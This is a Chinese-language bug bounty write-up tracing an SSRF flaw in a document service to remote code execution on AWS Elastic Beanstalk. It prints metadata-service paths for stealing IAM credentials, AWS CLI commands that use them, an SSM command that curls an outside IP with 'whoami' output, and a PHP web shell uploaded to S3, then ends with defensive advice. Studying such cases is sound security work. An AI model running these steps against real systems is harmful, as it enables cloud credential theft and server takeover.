Bug Bounty:从SSRF到RCE
字数 1261 2025-08-26 22:11:28
从SSRF到RCE漏洞利用完整指南
1. 漏洞概述
本文详细记录了一个从SSRF(服务器端请求伪造)漏洞到RCE(远程代码执行)的完整利用过程。攻击者通过发现并利用文档服务中的SSRF漏洞,最终在AWS Elastic Beanstalk环境中实现了远程代码执行。
2. 前期侦察
2.1 子域枚举
- 发现目标域名
redacted.com的子域docs.redact.com存在可疑行为 - 该子域提供文档和各类数据展示功能
2.2 带外资源加载漏洞发现
- 观察图片加载时的URL参数,发现
url参数控制资源加载 - 测试将
url参数值改为攻击者控制的域名generaleg0x01.com - 修改
mimeType参数为text/html确认漏洞存在
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11
3. SSRF漏洞确认与利用
3.1 AWS环境确认
- 通过响应头
X-Amz-Cf-Id确认目标使用AWS服务
3.2 SSRF漏洞验证
- 利用AWS EC2元数据服务IP
169.254.169.254测试 - 访问元数据目录成功:
url=169.254.169.254/latest/meta-data/
3.3 AWS Elastic Beanstalk简介
- AWS提供的PaaS服务
- 自动处理容量预配置、负载均衡、Auto Scaling等
3.4 获取AWS凭证
- 获取IAM角色凭证:
url=169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/
返回内容包含:
- AccessKeyId
- SecretAccessKey
- Token
- 获取实例信息:
url=169.254.169.254//latest/dynamic/instance-identity/document/
返回内容包含:
- instanceId
- accountId
- region
3.5 配置AWS CLI
export AWS_ACCESS_KEY_ID=AccessKeyId
export AWS_SECRET_ACCESS_KEY=SecretAccessKey
export AWS_DEFAULT_REGION=region
export AWS_SESSION_TOKEN=Token
4. 从SSRF到RCE的升级
4.1 尝试方法一:使用SSM Send-Command
aws ssm send-command --instance-ids "instanceId" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 128.199.xx.xx:8080/`whoami`' --output text --region=region
结果:失败,权限不足
4.2 尝试方法二:SSH连接
- 发现SSH端口关闭
- 尝试创建RSA密钥对无密码登录失败
4.3 成功方法:上传Web后门
4.3.1 S3存储桶发现
- 发现托管策略
awselasticbeanstalkwebtier限制只能访问以"elasticbeanstack"开头的存储桶 - 组合存储桶名称:
elasticbeanstalk-us-east-1-76xxxxxxxx00 - 递归列出存储桶内容:
aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ --recursive
4.3.2 创建并上传Web Shell
- 创建
cmd.php后门文件:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
- 上传后门文件:
aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/
5. 关键知识点总结
-
SSRF漏洞检测:
- 测试外部资源加载
- 检查AWS元数据服务
-
AWS元数据利用:
169.254.169.254是AWS EC2元数据服务IP- 可获取实例凭证、配置信息等
-
权限提升思路:
- 尝试SSM命令执行
- 测试SSH连接
- 通过存储桶上传Web Shell
-
AWS Elastic Beanstalk安全:
- 默认角色权限限制
- 存储桶命名规则可利用
-
防御建议:
- 限制服务器对外请求
- 加强IAM角色权限控制
- 定期审计S3存储桶权限
- 禁用不必要的元数据服务访问
通过这个案例,我们学习到了如何从一个简单的SSRF漏洞逐步深入,最终实现远程代码执行的全过程。关键在于对云服务架构的理解和权限边界的突破尝试。